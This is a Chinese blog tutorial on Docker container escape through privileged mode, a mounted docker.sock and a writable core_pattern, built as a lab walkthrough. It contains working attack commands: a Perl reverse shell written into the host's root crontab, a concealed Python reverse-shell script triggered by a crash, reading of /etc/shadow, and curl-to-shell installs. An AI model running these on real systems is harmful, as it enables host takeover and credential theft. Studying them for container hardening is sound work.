文章总结: 本文详细介绍了Docker逃逸的三种主要技术:特权模式逃逸利用–privileged参数获取宿主机权限;Dockersocket挂载逃逸通过挂载docker.sock文件控制宿主机Docker守护进程;Procfs挂载逃逸利用/proc/sys/kernel/core_pattern实现任意代码执行。文章提供了环境判断方法、具体检测命令和完整利用步骤,是实用的容器安全攻防指南。
综合评分: 89
文章分类: 漏洞分析,渗透测试,WEB安全
docker逃逸
原创
网安热爱者week
week网安热爱者
2025年11月20日 21:13
江苏
测试的时候发现都是docker,被恶心到了,所以记录下docker逃逸的学习。。。
docker本身优势:
类虚拟机 本质是一个应用容器引擎 使用的是操作系统虚拟化 【虚拟机使用硬件虚拟化】
沙箱机制和本机完全隔离
权限隔离 网络隔离 进程隔离 文件隔离
常见docker问题:
01.docker本身打包的第三方插件存在指定版本漏洞 【log4j2为主】
02.docker自身被投毒或者存在隐患的镜像
03.敏感信息泄露 开发者将账密密钥等一并打包进docker
容器配置问题:
01.映射出去的端口存在未授权访问 或者弱密码(这个还挺多的)
02.对容器的资源控制不完善 使得宿主机资源耗尽 【挠头】
03.不安全配置及挂载:
- –privileged:使容器内的 root 权限和宿主机上的 root 权限一致.
- –net=host:使容器与宿主机处于同一网络命名空间,网络隔离被打破
- –pid=host:使容器与宿主机处于同一进程命令空间,进程隔离被打破
- –volume /:/host:宿主机根目录被挂载到容器内部,文件系统隔离被打破
04.容器内部按理讲是互相联通的 可能存在容器横向
05.主机自身存在内核缺陷 【脏牛漏洞】
06.docker自身版本存在的漏洞:CVE-2019-14271、CVE-2019-5736
1. docker环境判断:
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
上述命令在一些简单环境中可能失效
问就是碰到了。。。
ls -la 看是否存在 .dockerenv文件 存在就是docker
2. 逃逸:
2.1. privileged特权模式:
2.1.1. 测试环境:
docker run --rm --privileged=true -it alpine 在Docker容器启动时如果添加了 --privileged参数,就会以特权模式启动docker。即具备所有的Capabilities
Capabilities规定了docker对宿主机的影响,
查看权限最主要的基本是CAP_SYS_ADMIN
如果有CAP_SYS_ADMIN权限 基本都可以实现docker逃逸
2.1.2. 判断是否为priviledge:
cat /proc/self/status | grep CapEff
常见的特权模式,会返回 0000003fffffffff 或者 0000001fffffffff
这里使用的是官方的权限编码,主要要看是否开启CAP_SYS_ADMIN
看不懂可以直接扔给ai
也可以使用这个:
cat /proc/1/status | grep Cap
2.1.3. 查看磁盘挂载:【列出当前系统中所有磁盘及分区】
2.1.3.1. fdisk -l
fdisk -l
根据磁盘大小发现 应该是vda3为宿主机根目录
2.1.4. cat /proc/partitions
查看系统识别的分区:(一般用不到)
cat /proc/partitions
根据磁盘大小发现 应该是vda3为根目录
2.1.5. 目录挂载
目录挂载: 将宿主机的 /dev/vda1【宿主机的磁盘根目录】 挂载到 docker的 /test 目录
相当于把宿主机整个文件系统的磁盘挂载到test
访问/test 就是访问宿主机的 / 根目录
mkdir /test && mount /dev/vda3 /test
访问宿主机文件:
cat /test/etc/shadow
- 可以通过宿主机的计划任务反弹 shell
这里的定时任务路径是 Ubuntu 系统路径,不同的系统定时任务路径不一样echo $'*/1 * * * * perl -e \'use Socket;$i="172.xx.xx.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root
2.2. docker socket 挂载:
2.2.1. 基础知识:
Docker Client 和 Docker Daemon
Docker Client:这是用户通过命令行与 Docker 进行交互的工具(例如你输入的 docker run 命令)。它提供了一个用户界面来管理 Docker 容器和镜像。
Docker Daemon:后台运行的服务(进程),负责管理 Docker 容器的创建、运行、停止等操作。它接收来自 Docker Client 的请求,并处理这些请求。
C/S架构
C/S(Client/Server)架构是一种分布式计算模型,其中客户机(Client)发出请求,而服务器(Server)处理请求并返回结果。简单来说,客户端是用户的接口,服务器是处理数据和服务的地方。
通信方式
Docker Client 和 Docker Daemon 之间的通信可以通过以下方式进行:
unix:///var/run/docker.sock:
这是 Docker 的默认通信方式。/var/run/docker.sock 是一个 Unix 域套接字文件,Docker Daemon 监听这个套接字。使用 Unix 套接字的好处是它不需要任何网络配置,通信速度较快,因为它在同一台机器上。
tcp://host:port:
这种方式通过 TCP/IP 协议进行通信,允许客户端与远程 Docker Daemon 进行交互。你需要指定 Docker Daemon 运行的主机地址和端口号。这种方式适合在分布式系统中使用,可以让多个客户端通过网络连接到同一个 Docker Daemon。
fd://socketfd:
这种方式使用文件描述符进行通信,适合某些特殊的场景。在这种情况下,Client 将通过文件描述符与 Daemon 进行通信,通常用于在容器内部进行进程间通信。
上文是ai给的官方解释
大致意思就是:
docker 就是client端 server端是docker daemon(守护进程)
默认使用通信方式为docker.sock
如果容器有需求,需要与docker daemon通信 就要挂载 /var/run/docker.sock
也就是把宿主机的server放到容器里面了
那么只要在容器里面下载一个docker (client端)
就可以实现调度主机的docker daemon (server端)
进而开启一个带有–privileged权限 或者恶意的docker
就可以进行逃逸啦~~
2.2.2. 环境搭建:
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu进入环境:docker exec -it with_docker_sock /bin/bash
2.2.3. 检测是否存在docker socket挂载:
find / -name docker.sock
ls -lah /var/run/docker.sock
2.2.4. docker内安装docker利用socket:
安装指定docker
# 安装容器中的dockerapt-get updateapt-get install curlcurl -fsSL https://get.docker.com/ | sh
国内访问不到get.docker,但是一般服务器基本可以。、
或者直接访问这个网址:https://download.docker.com/ 下载对应的docker
使用离线安装的方式。
(毕竟都进docker了 有个shell传文件不过分吧)
实验的话:
这个是毫秒镜像的docker安装脚本,凑活用吧。
bash <(curl -f -s --connect-timeout 10 --retry 3 https://linuxmirrors.cn/docker.sh) --source mirrors.tencent.com/docker-ce --source-registry docker.1ms.run --protocol https --install-latested true --close-firewall false --ignore-backup-tips
2.2.5. 宿主机目录挂载到新建容器内部
一定要新建一个容器 利用配置问题的socket实现 宿主机目录挂载。
宿主机的/目录挂载到docker的/host
然后更改进程根目录为/host
docker run -it -v /:/host ubuntu /bin/bashchroot /host
2.3. docker挂载procfs导致逃逸:(应该需要至少CAP_SYS_ADMIN权限)
2.3.1. 基础知识:
procfs是一个伪文件系统 存在铭感路径 /proc/sys/kernel/core_pattern 等。
如果在创建容器时显式地将宿主机的 procfs 挂载为可读写,或者容器内的进程具有容器特权(例如,使用特权模式运行容器),那么容器就有可能滥用 procfs 功能,以获取宿主机上其他进程的敏感信息。
/proc目录下的内容是动态生成的,不是常驻于磁盘上的数据。这些内容通常包括:
- 进程信息:每个运行中的进程都有一个以其PID(进程ID)命名的子目录(如
/proc/1234),里面包含了该进程的状态、内存使用情况、打开的文件描述符等信息。 - 系统信息:如
/proc/cpuinfo(CPU信息),/proc/meminfo(内存信息),/proc/version(核版本)等。 - 配置参数:如
/proc/sys目录下的文件,用户可以通过这些文件调整系统内核的各种参数。
部分业务需要挂载这个目录的话,可能触发任意命令执行。
2.3.2. 测试环境搭建:
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
注:这个应该是需要CAP_SYS_ADMIN才能成功 建议添加–privileged参数
2.3.3. 检测是否挂载procfs:
find / -name core_pattern
如果显示的为一条以上 就是挂载了procfs
2.3.4. 查看容器在宿主机下的绝对路径:
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
contain格式 overlayfs存储 快照46
记一下路径:
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/46/
后面会用到
2.3.5. 利用:
gcc安装:
apt-get update -y && apt-get install gcc -y
创建一个反弹shell的py脚本:
cat >/tmp/.qq.py << EOF#!/usr/bin/pythonimport osimport ptyimport socketlhost = ""lport = def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") os.remove('/tmp/.qq.py') s.close()if __name__ == "__main__": main()EOF
给他一个权限 并且shell写入到目标的proc下:
chmod +x /tmp/.qq.pyecho -e "| /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/46/fs/tmp/.qq.py \rcore" > /host/proc/sys/kernel/core_pattern
这里用之前记下来的路径 /tmp/.x.py
在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序
cat >/tmp/x.c << EOF#include <stdio.h>int main(void){int *a = NULL;*a = 1;return 0;}EOF
gcc编译并执行实现报错:
gcc x.c -o x./x
这里的原理是docker报错会去宿主机运行/host/proc/sys/kernel/core_pattern
然后因为里面是我们写入的qq.py 就会反弹shell到自己的服务器啦~~
这个复现时候出现问题了:
可以实现将qq.py写入 x.c也可以写入宿主机
但是不能修改宿主机的/host/proc/sys/kernel/core_pattern
只能修改docker内部的这个/host/proc/sys/kernel/core_pattern
应该是权限问题
后面添加–privileged参数 就成功了
感觉应该是需要至少CAP_SYS_ADMIN这个权限才行。
emm也看到有的师傅没有开启特别的权限 或许是docker的版本问题?
也可能是我太菜了~~
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:week网安热爱者 网安热爱者week《docker逃逸》